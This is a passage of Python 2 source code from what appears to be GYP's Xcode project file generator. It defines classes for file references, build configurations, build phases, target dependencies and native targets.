self._properties['children'][0] # Assume the child's properties, including its children. Save a copy # of this object's old properties, because they'll still be needed. # This object retains its existing id and parent attributes. old_properties = self._properties self._properties = child._properties self._children_by_path = child._children_by_path if not 'sourceTree' in self._properties or \ self._properties['sourceTree'] == '<group>': # The child was relative to its parent. Fix up the path. Note that # children with a sourceTree other than "<group>" are not relative to # their parents, so no path fix-up is needed in that case. if 'path' in old_properties: if 'path' in self._properties: # Both the original parent and child have paths set. self._properties['path'] = posixpath.join(old_properties['path'], self._properties['path']) else: # Only the original parent has a path, use it. self._properties['path'] = old_properties['path'] if 'sourceTree' in old_properties: # The original parent had a sourceTree set, use it. self._properties['sourceTree'] = old_properties['sourceTree'] # If the original parent had a name set, keep using it. If the original # parent didn't have a name but the child did, let the child's name # live on. If the name attribute seems unnecessary now, get rid of it. if 'name' in old_properties and old_properties['name'] != None and \ old_properties['name'] != self.Name(): self._properties['name'] = old_properties['name'] if 'name' in self._properties and 'path' in self._properties and \ self._properties['name'] == self._properties['path']: del self._properties['name'] # Notify all children of their new parent. for child in self._properties['children']: child.parent = self # If asked to recurse, recurse. if recurse: for child in self._properties['children']: if child.__class__ == PBXGroup: child.TakeOverOnlyChild(recurse) def SortGroup(self): self._properties['children'] = \ sorted(self._properties['children'], cmp=lambda x,y: x.Compare(y)) # Recurse. for child in self._properties['children']: if isinstance(child, PBXGroup): child.SortGroup() class XCFileLikeElement(XCHierarchicalElement): # Abstract base for objects that can be used as the fileRef property of # PBXBuildFile. def PathHashables(self): # A PBXBuildFile that refers to this object will call this method to # obtain additional hashables specific to this XCFileLikeElement. Don't # just use this object's hashables, they're not specific and unique enough # on their own (without access to the parent hashables.) Instead, provide # hashables that identify this object by path by getting its hashables as # well as the hashables of ancestor XCHierarchicalElement objects. hashables = [] xche = self while xche != None and isinstance(xche, XCHierarchicalElement): xche_hashables = xche.Hashables() for index in xrange(0, len(xche_hashables)): hashables.insert(index, xche_hashables[index]) xche = xche.parent return hashables class XCContainerPortal(XCObject): # Abstract base for objects that can be used as the containerPortal property # of PBXContainerItemProxy. pass class XCRemoteObject(XCObject): # Abstract base for objects that can be used as the remoteGlobalIDString # property of PBXContainerItemProxy. pass class PBXFileReference(XCFileLikeElement, XCContainerPortal, XCRemoteObject): _schema = XCFileLikeElement._schema.copy() _schema.update({ 'explicitFileType': [0, str, 0, 0], 'lastKnownFileType': [0, str, 0, 0], 'name': [0, str, 0, 0], 'path': [0, str, 0, 1], }) # Weird output rules for PBXFileReference. _should_print_single_line = True # super _encode_transforms = XCFileLikeElement._alternate_encode_transforms def __init__(self, properties=None, id=None, parent=None): # super XCFileLikeElement.__init__(self, properties, id, parent) if 'path' in self._properties and self._properties['path'].endswith('/'): self._properties['path'] = self._properties['path'][:-1] is_dir = True else: is_dir = False if 'path' in self._properties and \ not 'lastKnownFileType' in self._properties and \ not 'explicitFileType' in self._properties: # TODO(mark): This is the replacement for a replacement for a quick hack. # It is no longer incredibly sucky, but this list needs to be extended. extension_map = { 'a': 'archive.ar', 'app': 'wrapper.application', 'bdic': 'file', 'bundle': 'wrapper.cfbundle', 'c': 'sourcecode.c.c', 'cc': 'sourcecode.cpp.cpp', 'cpp': 'sourcecode.cpp.cpp', 'css': 'text.css', 'cxx': 'sourcecode.cpp.cpp', 'dart': 'sourcecode', 'dylib': 'compiled.mach-o.dylib', 'framework': 'wrapper.framework', 'gyp': 'sourcecode', 'gypi': 'sourcecode', 'h': 'sourcecode.c.h', 'hxx': 'sourcecode.cpp.h', 'icns': 'image.icns', 'java': 'sourcecode.java', 'js': 'sourcecode.javascript', 'm': 'sourcecode.c.objc', 'mm': 'sourcecode.cpp.objcpp', 'nib': 'wrapper.nib', 'o': 'compiled.mach-o.objfile', 'pdf': 'image.pdf', 'pl': 'text.script.perl', 'plist': 'text.plist.xml', 'pm': 'text.script.perl', 'png': 'image.png', 'py': 'text.script.python', 'r': 'sourcecode.rez', 'rez': 'sourcecode.rez', 's': 'sourcecode.asm', 'storyboard': 'file.storyboard', 'strings': 'text.plist.strings', 'ttf': 'file', 'xcconfig': 'text.xcconfig', 'xcdatamodel': 'wrapper.xcdatamodel', 'xib': 'file.xib', 'y': 'sourcecode.yacc', } prop_map = { 'dart': 'explicitFileType', 'gyp': 'explicitFileType', 'gypi': 'explicitFileType', } if is_dir: file_type = 'folder' prop_name = 'lastKnownFileType' else: basename = posixpath.basename(self._properties['path']) (root, ext) = posixpath.splitext(basename) # Check the map using a lowercase extension. # TODO(mark): Maybe it should try with the original case first and fall # back to lowercase, in case there are any instances where case # matters. There currently aren't. if ext != '': ext = ext[1:].lower() # TODO(mark): "text" is the default value, but "file" is appropriate # for unrecognized files not containing text. Xcode seems to choose # based on content. file_type = extension_map.get(ext, 'text') prop_name = prop_map.get(ext, 'lastKnownFileType') self._properties[prop_name] = file_type class PBXVariantGroup(PBXGroup, XCFileLikeElement): """PBXVariantGroup is used by Xcode to represent localizations.""" # No additions to the schema relative to PBXGroup. pass # PBXReferenceProxy is also an XCFileLikeElement subclass. It is defined below # because it uses PBXContainerItemProxy, defined below. class XCBuildConfiguration(XCObject): _schema = XCObject._schema.copy() _schema.update({ 'baseConfigurationReference': [0, PBXFileReference, 0, 0], 'buildSettings': [0, dict, 0, 1, {}], 'name': [0, str, 0, 1], }) def HasBuildSetting(self, key): return key in self._properties['buildSettings'] def GetBuildSetting(self, key): return self._properties['buildSettings'][key] def SetBuildSetting(self, key, value): # TODO(mark): If a list, copy? self._properties['buildSettings'][key] = value def AppendBuildSetting(self, key, value): if not key in self._properties['buildSettings']: self._properties['buildSettings'][key] = [] self._properties['buildSettings'][key].append(value) def DelBuildSetting(self, key): if key in self._properties['buildSettings']: del self._properties['buildSettings'][key] def SetBaseConfiguration(self, value): self._properties['baseConfigurationReference'] = value class XCConfigurationList(XCObject): # _configs is the default list of configurations. _configs = [ XCBuildConfiguration({'name': 'Debug'}), XCBuildConfiguration({'name': 'Release'}) ] _schema = XCObject._schema.copy() _schema.update({ 'buildConfigurations': [1, XCBuildConfiguration, 1, 1, _configs], 'defaultConfigurationIsVisible': [0, int, 0, 1, 1], 'defaultConfigurationName': [0, str, 0, 1, 'Release'], }) def Name(self): return 'Build configuration list for ' + \ self.parent.__class__.__name__ + ' "' + self.parent.Name() + '"' def ConfigurationNamed(self, name): """Convenience accessor to obtain an XCBuildConfiguration by name.""" for configuration in self._properties['buildConfigurations']: if configuration._properties['name'] == name: return configuration raise KeyError, name def DefaultConfiguration(self): """Convenience accessor to obtain the default XCBuildConfiguration.""" return self.ConfigurationNamed(self._properties['defaultConfigurationName']) def HasBuildSetting(self, key): """Determines the state of a build setting in all XCBuildConfiguration child objects. If all child objects have key in their build settings, and the value is the same in all child objects, returns 1. If no child objects have the key in their build settings, returns 0. If some, but not all, child objects have the key in their build settings, or if any children have different values for the key, returns -1. """ has = None value = None for configuration in self._properties['buildConfigurations']: configuration_has = configuration.HasBuildSetting(key) if has is None: has = configuration_has elif has != configuration_has: return -1 if configuration_has: configuration_value = configuration.GetBuildSetting(key) if value is None: value = configuration_value elif value != configuration_value: return -1 if not has: return 0 return 1 def GetBuildSetting(self, key): """Gets the build setting for key. All child XCConfiguration objects must have the same value set for the setting, or a ValueError will be raised. """ # TODO(mark): This is wrong for build settings that are lists. The list # contents should be compared (and a list copy returned?) value = None for configuration in self._properties['buildConfigurations']: configuration_value = configuration.GetBuildSetting(key) if value is None: value = configuration_value else: if value != configuration_value: raise ValueError, 'Variant values for ' + key return value def SetBuildSetting(self, key, value): """Sets the build setting for key to value in all child XCBuildConfiguration objects. """ for configuration in self._properties['buildConfigurations']: configuration.SetBuildSetting(key, value) def AppendBuildSetting(self, key, value): """Appends value to the build setting for key, which is treated as a list, in all child XCBuildConfiguration objects. """ for configuration in self._properties['buildConfigurations']: configuration.AppendBuildSetting(key, value) def DelBuildSetting(self, key): """Deletes the build setting key from all child XCBuildConfiguration objects. """ for configuration in self._properties['buildConfigurations']: configuration.DelBuildSetting(key) def SetBaseConfiguration(self, value): """Sets the build configuration in all child XCBuildConfiguration objects. """ for configuration in self._properties['buildConfigurations']: configuration.SetBaseConfiguration(value) class PBXBuildFile(XCObject): _schema = XCObject._schema.copy() _schema.update({ 'fileRef': [0, XCFileLikeElement, 0, 1], 'settings': [0, str, 0, 0], # hack, it's a dict }) # Weird output rules for PBXBuildFile. _should_print_single_line = True _encode_transforms = XCObject._alternate_encode_transforms def Name(self): # Example: "main.cc in Sources" return self._properties['fileRef'].Name() + ' in ' + self.parent.Name() def Hashables(self): # super hashables = XCObject.Hashables(self) # It is not sufficient to just rely on Name() to get the # XCFileLikeElement's name, because that is not a complete pathname. # PathHashables returns hashables unique enough that no two # PBXBuildFiles should wind up with the same set of hashables, unless # someone adds the same file multiple times to the same target. That # would be considered invalid anyway. hashables.extend(self._properties['fileRef'].PathHashables()) return hashables class XCBuildPhase(XCObject): """Abstract base for build phase classes. Not represented in a project file. Attributes: _files_by_path: A dict mapping each path of a child in the files list by path (keys) to the corresponding PBXBuildFile children (values). _files_by_xcfilelikeelement: A dict mapping each XCFileLikeElement (keys) to the corresponding PBXBuildFile children (values). """ # TODO(mark): Some build phase types, like PBXShellScriptBuildPhase, don't # actually have a "files" list. XCBuildPhase should not have "files" but # another abstract subclass of it should provide this, and concrete build # phase types that do have "files" lists should be derived from that new # abstract subclass. XCBuildPhase should only provide buildActionMask and # runOnlyForDeploymentPostprocessing, and not files or the various # file-related methods and attributes. _schema = XCObject._schema.copy() _schema.update({ 'buildActionMask': [0, int, 0, 1, 0x7fffffff], 'files': [1, PBXBuildFile, 1, 1, []], 'runOnlyForDeploymentPostprocessing': [0, int, 0, 1, 0], }) def __init__(self, properties=None, id=None, parent=None): # super XCObject.__init__(self, properties, id, parent) self._files_by_path = {} self._files_by_xcfilelikeelement = {} for pbxbuildfile in self._properties.get('files', []): self._AddBuildFileToDicts(pbxbuildfile) def FileGroup(self, path): # Subclasses must override this by returning a two-element tuple. The # first item in the tuple should be the PBXGroup to which "path" should be # added, either as a child or deeper descendant. The second item should # be a boolean indicating whether files should be added into hierarchical # groups or one single flat group. raise NotImplementedError, \ self.__class__.__name__ + ' must implement FileGroup' def _AddPathToDict(self, pbxbuildfile, path): """Adds path to the dict tracking paths belonging to this build phase. If the path is already a member of this build phase, raises an exception. """ if path in self._files_by_path: raise ValueError, 'Found multiple build files with path ' + path self._files_by_path[path] = pbxbuildfile def _AddBuildFileToDicts(self, pbxbuildfile, path=None): """Maintains the _files_by_path and _files_by_xcfilelikeelement dicts. If path is specified, then it is the path that is being added to the phase, and pbxbuildfile must contain either a PBXFileReference directly referencing that path, or it must contain a PBXVariantGroup that itself contains a PBXFileReference referencing the path. If path is not specified, either the PBXFileReference's path or the paths of all children of the PBXVariantGroup are taken as being added to the phase. If the path is already present in the phase, raises an exception. If the PBXFileReference or PBXVariantGroup referenced by pbxbuildfile are already present in the phase, referenced by a different PBXBuildFile object, raises an exception. This does not raise an exception when a PBXFileReference or PBXVariantGroup reappear and are referenced by the same PBXBuildFile that has already introduced them, because in the case of PBXVariantGroup objects, they may correspond to multiple paths that are not all added simultaneously. When this situation occurs, the path needs to be added to _files_by_path, but nothing needs to change in _files_by_xcfilelikeelement, and the caller should have avoided adding the PBXBuildFile if it is already present in the list of children. """ xcfilelikeelement = pbxbuildfile._properties['fileRef'] paths = [] if path != None: # It's best when the caller provides the path. if isinstance(xcfilelikeelement, PBXVariantGroup): paths.append(path) else: # If the caller didn't provide a path, there can be either multiple # paths (PBXVariantGroup) or one. if isinstance(xcfilelikeelement, PBXVariantGroup): for variant in xcfilelikeelement._properties['children']: paths.append(variant.FullPath()) else: paths.append(xcfilelikeelement.FullPath()) # Add the paths first, because if something's going to raise, the # messages provided by _AddPathToDict are more useful owing to its # having access to a real pathname and not just an object's Name(). for a_path in paths: self._AddPathToDict(pbxbuildfile, a_path) # If another PBXBuildFile references this XCFileLikeElement, there's a # problem. if xcfilelikeelement in self._files_by_xcfilelikeelement and \ self._files_by_xcfilelikeelement[xcfilelikeelement] != pbxbuildfile: raise ValueError, 'Found multiple build files for ' + \ xcfilelikeelement.Name() self._files_by_xcfilelikeelement[xcfilelikeelement] = pbxbuildfile def AppendBuildFile(self, pbxbuildfile, path=None): # Callers should use this instead of calling # AppendProperty('files', pbxbuildfile) directly because this function # maintains the object's dicts. Better yet, callers can just call AddFile # with a pathname and not worry about building their own PBXBuildFile # objects. self.AppendProperty('files', pbxbuildfile) self._AddBuildFileToDicts(pbxbuildfile, path) def AddFile(self, path, settings=None): (file_group, hierarchical) = self.FileGroup(path) file_ref = file_group.AddOrGetFileByPath(path, hierarchical) if file_ref in self._files_by_xcfilelikeelement and \ isinstance(file_ref, PBXVariantGroup): # There's already a PBXBuildFile in this phase corresponding to the # PBXVariantGroup. path just provides a new variant that belongs to # the group. Add the path to the dict. pbxbuildfile = self._files_by_xcfilelikeelement[file_ref] self._AddBuildFileToDicts(pbxbuildfile, path) else: # Add a new PBXBuildFile to get file_ref into the phase. if settings is None: pbxbuildfile = PBXBuildFile({'fileRef': file_ref}) else: pbxbuildfile = PBXBuildFile({'fileRef': file_ref, 'settings': settings}) self.AppendBuildFile(pbxbuildfile, path) class PBXHeadersBuildPhase(XCBuildPhase): # No additions to the schema relative to XCBuildPhase. def Name(self): return 'Headers' def FileGroup(self, path): return self.PBXProjectAncestor().RootGroupForPath(path) class PBXResourcesBuildPhase(XCBuildPhase): # No additions to the schema relative to XCBuildPhase. def Name(self): return 'Resources' def FileGroup(self, path): return self.PBXProjectAncestor().RootGroupForPath(path) class PBXSourcesBuildPhase(XCBuildPhase): # No additions to the schema relative to XCBuildPhase. def Name(self): return 'Sources' def FileGroup(self, path): return self.PBXProjectAncestor().RootGroupForPath(path) class PBXFrameworksBuildPhase(XCBuildPhase): # No additions to the schema relative to XCBuildPhase. def Name(self): return 'Frameworks' def FileGroup(self, path): (root, ext) = posixpath.splitext(path) if ext != '': ext = ext[1:].lower() if ext == 'o': # .o files are added to Xcode Frameworks phases, but conceptually aren't # frameworks, they're more like sources or intermediates. Redirect them # to show up in one of those other groups. return self.PBXProjectAncestor().RootGroupForPath(path) else: return (self.PBXProjectAncestor().FrameworksGroup(), False) class PBXShellScriptBuildPhase(XCBuildPhase): _schema = XCBuildPhase._schema.copy() _schema.update({ 'inputPaths': [1, str, 0, 1, []], 'name': [0, str, 0, 0], 'outputPaths': [1, str, 0, 1, []], 'shellPath': [0, str, 0, 1, '/bin/sh'], 'shellScript': [0, str, 0, 1], 'showEnvVarsInLog': [0, int, 0, 0], }) def Name(self): if 'name' in self._properties: return self._properties['name'] return 'ShellScript' class PBXCopyFilesBuildPhase(XCBuildPhase): _schema = XCBuildPhase._schema.copy() _schema.update({ 'dstPath': [0, str, 0, 1], 'dstSubfolderSpec': [0, int, 0, 1], 'name': [0, str, 0, 0], }) # path_tree_re matches "$(DIR)/path" or just "$(DIR)". Match group 1 is # "DIR", match group 3 is "path" or None. path_tree_re = re.compile('^\\$\\((.*)\\)(/(.*)|)$') # path_tree_to_subfolder maps names of Xcode variables to the associated # dstSubfolderSpec property value used in a PBXCopyFilesBuildPhase object. path_tree_to_subfolder = { 'BUILT_PRODUCTS_DIR': 16, # Products Directory # Other types that can be chosen via the Xcode UI. # TODO(mark): Map Xcode variable names to these. # : 1, # Wrapper # : 6, # Executables: 6 # : 7, # Resources # : 15, # Java Resources # : 10, # Frameworks # : 11, # Shared Frameworks # : 12, # Shared Support # : 13, # PlugIns } def Name(self): if 'name' in self._properties: return self._properties['name'] return 'CopyFiles' def FileGroup(self, path): return self.PBXProjectAncestor().RootGroupForPath(path) def SetDestination(self, path): """Set the dstSubfolderSpec and dstPath properties from path. path may be specified in the same notation used for XCHierarchicalElements, specifically, "$(DIR)/path". """ path_tree_match = self.path_tree_re.search(path) if path_tree_match: # Everything else needs to be relative to an Xcode variable. path_tree = path_tree_match.group(1) relative_path = path_tree_match.group(3) if path_tree in self.path_tree_to_subfolder: subfolder = self.path_tree_to_subfolder[path_tree] if relative_path is None: relative_path = '' else: # The path starts with an unrecognized Xcode variable # name like $(SRCROOT). Xcode will still handle this # as an "absolute path" that starts with the variable. subfolder = 0 relative_path = path elif path.startswith('/'): # Special case. Absolute paths are in dstSubfolderSpec 0. subfolder = 0 relative_path = path[1:] else: raise ValueError, 'Can\'t use path %s in a %s' % \ (path, self.__class__.__name__) self._properties['dstPath'] = relative_path self._properties['dstSubfolderSpec'] = subfolder class PBXBuildRule(XCObject): _schema = XCObject._schema.copy() _schema.update({ 'compilerSpec': [0, str, 0, 1], 'filePatterns': [0, str, 0, 0], 'fileType': [0, str, 0, 1], 'isEditable': [0, int, 0, 1, 1], 'outputFiles': [1, str, 0, 1, []], 'script': [0, str, 0, 0], }) def Name(self): # Not very inspired, but it's what Xcode uses. return self.__class__.__name__ def Hashables(self): # super hashables = XCObject.Hashables(self) # Use the hashables of the weak objects that this object refers to. hashables.append(self._properties['fileType']) if 'filePatterns' in self._properties: hashables.append(self._properties['filePatterns']) return hashables class PBXContainerItemProxy(XCObject): # When referencing an item in this project file, containerPortal is the # PBXProject root object of this project file. When referencing an item in # another project file, containerPortal is a PBXFileReference identifying # the other project file. # # When serving as a proxy to an XCTarget (in this project file or another), # proxyType is 1. When serving as a proxy to a PBXFileReference (in another # project file), proxyType is 2. Type 2 is used for references to the # producs of the other project file's targets. # # Xcode is weird about remoteGlobalIDString. Usually, it's printed without # a comment, indicating that it's tracked internally simply as a string, but # sometimes it's printed with a comment (usually when the object is initially # created), indicating that it's tracked as a project file object at least # sometimes. This module always tracks it as an object, but contains a hack # to prevent it from printing the comment in the project file output. See # _XCKVPrint. _schema = XCObject._schema.copy() _schema.update({ 'containerPortal': [0, XCContainerPortal, 0, 1], 'proxyType': [0, int, 0, 1], 'remoteGlobalIDString': [0, XCRemoteObject, 0, 1], 'remoteInfo': [0, str, 0, 1], }) def __repr__(self): props = self._properties name = '%s.gyp:%s' % (props['containerPortal'].Name(), props['remoteInfo']) return '<%s %r at 0x%x>' % (self.__class__.__name__, name, id(self)) def Name(self): # Admittedly not the best name, but it's what Xcode uses. return self.__class__.__name__ def Hashables(self): # super hashables = XCObject.Hashables(self) # Use the hashables of the weak objects that this object refers to. hashables.extend(self._properties['containerPortal'].Hashables()) hashables.extend(self._properties['remoteGlobalIDString'].Hashables()) return hashables class PBXTargetDependency(XCObject): # The "target" property accepts an XCTarget object, and obviously not # NoneType. But XCTarget is defined below, so it can't be put into the # schema yet. The definition of PBXTargetDependency can't be moved below # XCTarget because XCTarget's own schema references PBXTargetDependency. # Python doesn't deal well with this circular relationship, and doesn't have # a real way to do forward declarations. To work around, the type of # the "target" property is reset below, after XCTarget is defined. # # At least one of "name" and "target" is required. _schema = XCObject._schema.copy() _schema.update({ 'name': [0, str, 0, 0], 'target': [0, None.__class__, 0, 0], 'targetProxy': [0, PBXContainerItemProxy, 1, 1], }) def __repr__(self): name = self._properties.get('name') or self._properties['target'].Name() return '<%s %r at 0x%x>' % (self.__class__.__name__, name, id(self)) def Name(self): # Admittedly not the best name, but it's what Xcode uses. return self.__class__.__name__ def Hashables(self): # super hashables = XCObject.Hashables(self) # Use the hashables of the weak objects that this object refers to. hashables.extend(self._properties['targetProxy'].Hashables()) return hashables class PBXReferenceProxy(XCFileLikeElement): _schema = XCFileLikeElement._schema.copy() _schema.update({ 'fileType': [0, str, 0, 1], 'path': [0, str, 0, 1], 'remoteRef': [0, PBXContainerItemProxy, 1, 1], }) class XCTarget(XCRemoteObject): # An XCTarget is really just an XCObject, the XCRemoteObject thing is just # to allow PBXProject to be used in the remoteGlobalIDString property of # PBXContainerItemProxy. # # Setting a "name" property at instantiation may also affect "productName", # which may in turn affect the "PRODUCT_NAME" build setting in children of # "buildConfigurationList". See __init__ below. _schema = XCRemoteObject._schema.copy() _schema.update({ 'buildConfigurationList': [0, XCConfigurationList, 1, 1, XCConfigurationList()], 'buildPhases': [1, XCBuildPhase, 1, 1, []], 'dependencies': [1, PBXTargetDependency, 1, 1, []], 'name': [0, str, 0, 1], 'productName': [0, str, 0, 1], }) def __init__(self, properties=None, id=None, parent=None, force_outdir=None, force_prefix=None, force_extension=None): # super XCRemoteObject.__init__(self, properties, id, parent) # Set up additional defaults not expressed in the schema. If a "name" # property was supplied, set "productName" if it is not present. Also set # the "PRODUCT_NAME" build setting in each configuration, but only if # the setting is not present in any build configuration. if 'name' in self._properties: if not 'productName' in self._properties: self.SetProperty('productName', self._properties['name']) if 'productName' in self._properties: if 'buildConfigurationList' in self._properties: configs = self._properties['buildConfigurationList'] if configs.HasBuildSetting('PRODUCT_NAME') == 0: configs.SetBuildSetting('PRODUCT_NAME', self._properties['productName']) def AddDependency(self, other): pbxproject = self.PBXProjectAncestor() other_pbxproject = other.PBXProjectAncestor() if pbxproject == other_pbxproject: # Add a dependency to another target in the same project file. container = PBXContainerItemProxy({'containerPortal': pbxproject, 'proxyType': 1, 'remoteGlobalIDString': other, 'remoteInfo': other.Name()}) dependency = PBXTargetDependency({'target': other, 'targetProxy': container}) self.AppendProperty('dependencies', dependency) else: # Add a dependency to a target in a different project file. other_project_ref = \ pbxproject.AddOrGetProjectReference(other_pbxproject)[1] container = PBXContainerItemProxy({ 'containerPortal': other_project_ref, 'proxyType': 1, 'remoteGlobalIDString': other, 'remoteInfo': other.Name(), }) dependency = PBXTargetDependency({'name': other.Name(), 'targetProxy': container}) self.AppendProperty('dependencies', dependency) # Proxy all of these through to the build configuration list. def ConfigurationNamed(self, name): return self._properties['buildConfigurationList'].ConfigurationNamed(name) def DefaultConfiguration(self): return self._properties['buildConfigurationList'].DefaultConfiguration() def HasBuildSetting(self, key): return self._properties['buildConfigurationList'].HasBuildSetting(key) def GetBuildSetting(self, key): return self._properties['buildConfigurationList'].GetBuildSetting(key) def SetBuildSetting(self, key, value): return self._properties['buildConfigurationList'].SetBuildSetting(key, \ value) def AppendBuildSetting(self, key, value): return self._properties['buildConfigurationList'].AppendBuildSetting(key, \ value) def DelBuildSetting(self, key): return self._properties['buildConfigurationList'].DelBuildSetting(key) # Redefine the type of the "target" property. See PBXTargetDependency._schema # above. PBXTargetDependency._schema['target'][1] = XCTarget class PBXNativeTarget(XCTarget): # buildPhases is overridden in the schema to be able to set defaults. # # NOTE: Contrary to most objects, it is advisable to set parent when # constructing PBXNativeTarget. A parent of an XCTarget must be a PBXProject # object. A parent reference is required for a PBXNativeTarget during # construction to be able to set up the target defaults for productReference, # because a PBXBuildFile object must be created for the target and it must # be added to the PBXProject's mainGroup hierarchy. _schema = XCTarget._schema.copy() _schema.update({ 'buildPhases': [1, XCBuildPhase, 1, 1, [PBXSourcesBuildPhase(), PBXFrameworksBuildPhase()]], 'buildRules': [1, PBXBuildRule, 1, 1, []], 'productReference': [0, PBXFileReference, 0, 1], 'productType': [0, str, 0, 1], }) # Mapping from Xcode product-types to settings. The settings are: # filetype : used for explicitFileType in the project file # prefix : the prefix for the file name # suffix : the suffix for the filen ame _product_filetypes = { 'com.apple.product-type.application': ['wrapper.application', '', '.app'], 'com.apple.product-type.bundle': ['wrapper.cfbundle', '', '.bundle'], 'com.apple.product-type.framework': ['wrapper.framework', '', '.framework'], 'com.apple.product-type.library.dynamic': ['compiled.mach-o.dylib', 'lib', '.dylib'], 'com.apple.product-type.library.static': ['archive.ar', 'lib', '.a'], 'com.apple.product-type.tool': ['compiled.mach-o.executable', '', ''], 'com.apple.product-type.bundle.unit-test': ['wrapper.cfbundle', '', '.xctest'], 'com.googlecode.gyp.xcode.bundle': ['compiled.mach-o.dylib', '', '.so'], } def __init__(self, properties=None, id=None, parent=None, force_outdir=None, force_prefix=None, force_extension=None): # super XCTarget.__init__(self, properties, id, parent) if 'productName' in self._properties and \ 'productType' in self._properties and \ not 'productReference' in self._properties and \ self._properties['productType'] in self._product_filetypes: products_group = None pbxproject = self.PBXProjectAncestor() if pbxproject != None: products_group = pbxproject.ProductsGroup() if products_group != None: (filetype, prefix, suffix) = \ self._product_filetypes[self._properties['productType']] # Xcode does not have a distinct type for loadable modules that are # pure BSD targets (not in a bundle wrapper). GYP allows such modules # to be specified by setting a target type to loadable_module without # having mac_bundle set. These are mapped to the pseudo-product type # com.googlecode.gyp.xcode.bundle. # # By picking up this special type and converting it to a dynamic # library (com.apple.product-type.library.dynamic) with fix-ups, # single-file loadable modules can be produced. # # MACH_O_TYPE is changed to mh_bundle to produce the proper file type # (as opposed to mh_dylib). In order for linking to succeed, # DYLIB_CURRENT_VERSION and DYLIB_COMPATIBILITY_VERSION must be # cleared. They are meaningless for type mh_bundle. # # Finally, the .so extension is forcibly applied over the default # (.dylib), unless another forced extension is already selected. # .dylib is plainly wrong, and .bundle is used by loadable_modules in # bundle wrappers (com.apple.product-type.bundle). .so seems an odd # choice because it's used as the extension on many other systems that # don't distinguish between linkable shared libraries and non-linkable # loadable modules, but there's precedent: Python loadable modules on # Mac OS X use an .so extension. if self._properties['productType'] == 'com.googlecode.gyp.xcode.bundle': self._properties['productType'] = \ 'com.apple.product-type.library.dynamic' self.SetBuildSetting('MACH_O_TYPE', 'mh_bundle') self.SetBuildSetting('DYLIB_CURRENT_VERSION', '') self.SetBuildSetting('DYLIB_COMPATIBILITY_VERSION', '') if force_extension is None: force_extension = suffix[1:] if self._properties['productType'] == \ 'com.apple.product-type-bundle.unit.test': if force_extension is None: force_extension = suffix[1:] if force_extension is not None: # If it's a wrapper (bundle), set WRAPPER_EXTENSION. if filetype.startswith('wrapper.'): self.SetBuildSetting('WRAPPER_EXTENSION', force_extension) else: # Extension override. suffix = '.' + force_extension self.SetBuildSetting('EXECUTABLE_EXTENSION', force_extension) if filetype.startswith('compiled.mach-o.executable'): product_name = self._properties['productName'] product_name += suffix suffix = '' self.SetProperty('productName', product_name) self.SetBuildSetting('PRODUCT_NAME', product_name) # Xcode handles most prefixes based on the target type, however there # are exceptions. If a "BSD Dynamic Library" target is added in the # Xcode UI, Xcode sets EXECUTABLE_PREFIX. This check duplicates that # behavior. if force_prefix is not None: prefix = force_prefix if filetype.startswith('wrapper.'): self.SetBuildSetting('WRAPPER_PREFIX', prefix) else: self.SetBuildSetting('EXECUTABLE_PREFIX', prefix) if force_outdir is not None: self.SetBuildSetting('TARGET_BUILD_DIR', force_outdir) # TODO(tvl): Remove the below hack. # http://code.google.com/p/gyp/issues/detail?id=122 # Some targets include the prefix in the target_name. These targets # really should just add a product_name setting that doesn't include # the prefix. For example: # target_name = 'libevent', product_name = 'event' # This check cleans up for them. product_name = self._properties['productName'] prefix_len = len(prefix) if prefix_len and (product_name[:prefix_len] == prefix): product_name = product_name[prefix_len:] self.SetProperty('productName', product_name) self.SetBuildSetting('PRODUCT_NAME', product_name) ref_props = { 'explicitFileType': filetype, 'includeInIndex': 0, 'path': prefix + product_name + suffix, 'sourceTree': 'BUILT_PRODUCTS_DIR', } file_ref = PBXFileReference(ref_props) products_group.AppendChild(file_ref) self.SetProperty('productReference', file_ref) def GetBuildPhaseByType(self, type): if not 'buildPhases' in self._properties: return None the_phase = None for phase in self._properties['buildPhases']: if isinstance(phase, type): # Some phases may be present in multiples in a well-formed project file, # but phases like PBXSourcesBuildPhase may only be present singly, and # this function is intended as an aid to GetBuildPhaseByType. Loop # over the entire list of phases and assert if more than one of the # desired type is found. assert the_phase is None the_phase = phase return the_phase def HeadersPhase(self): headers_phase = self.GetBuildPhaseByType(PBXHeadersBuildPhase) if headers_phase is None: headers_phase = PBXHeadersBuildPhase() # The headers phase should come before the resources, sources, and # frameworks phases, if any. insert_at = len(self._properties['buildPhases']) for index in xrange(0, len(self._properties['buildPhases'])): phase = self._properties['buildPhases'][index] if isinstance(phase, PBXResourcesBuildPhase) or \ isinstance(phase, PBXSourcesBuildPhase) or \ isinstance(phase, PBXFrameworksBuildPhase): insert_at = index break self._properties['buildPhases'].insert(insert_at, headers_phase) headers_phase.parent = self return headers_phase def ResourcesPhase(self): resources_phase = self.GetBuildPhaseByType(PBXResourcesBuildPhase) if resources_phase is None: resources_phase = PBXResourcesBuildPhase() # The resources phase should come before the sources and frameworks # phases, if any. insert_at = len(self._properties['buildPhases']) for index in xrange(0, len(self._properties['buildPhases'])): phase = self._properties['buildPhases'][index] if isinstance(phase, PBXSourcesBuildPhase) or \ isinstance(phase, PBXFrameworksBuildPhase): insert_at = index break self._properties['buildPhases'].insert(insert_at, resources_phase) resources_phase.parent = self return resources_phase def SourcesPhase(self): sources_phase = self.GetBuildPhaseByType(PBXSourcesBuildPhase) if sources_phase is None: sources_phase = PBXSourcesBuildPhase() self.AppendProperty('buildPhases', sources_phase) return sources_phase def FrameworksPhase(self): frameworks_phase = self.GetBuildPhaseByType(PBXFrameworksBuildPhase) if frameworks_phase is None: frameworks_phase = PBXFrameworksBuildPhase() self.AppendProperty('buildPhases', frameworks_phase) return frameworks_phase def AddDependency(self, other): # super XCTarget.AddDependency(self, other) static_library_type = 'com.apple.product-type.library.static' shared_library_type = 'com.apple.product-type.library.dynamic' framework_type = 'com.apple.product-type.framework' if isinstance(other, PBXNativeTarget) and \ 'productType' in self._properties and \ self._properties['productType'] != static_library_type and \ 'productType' in other._properties and \ (other._properties['productType'] == static_library_type or \ ((other._properties['productType'] == shared_library_type or \ other._properties['productType'] == framework_type) and \ ((not other.HasBuildSetting('MACH_O_TYPE')) or other.GetBuildSetting('MACH_O_TYPE') != 'mh_bundle'))): file_ref = other.GetProperty('productReference') pbxproject = self.PBXProjectAncestor() other_pbxproject = other.PBXProjectAncestor() if pbxproject != other_pbxproject: other_project_product_group = \ pbxproject.AddOrGetProjectReference(other_pbxproject)[0] file_ref = other_project_product_group.GetChildByRemoteObject(file_ref) self.FrameworksPhase().AppendProperty('files', 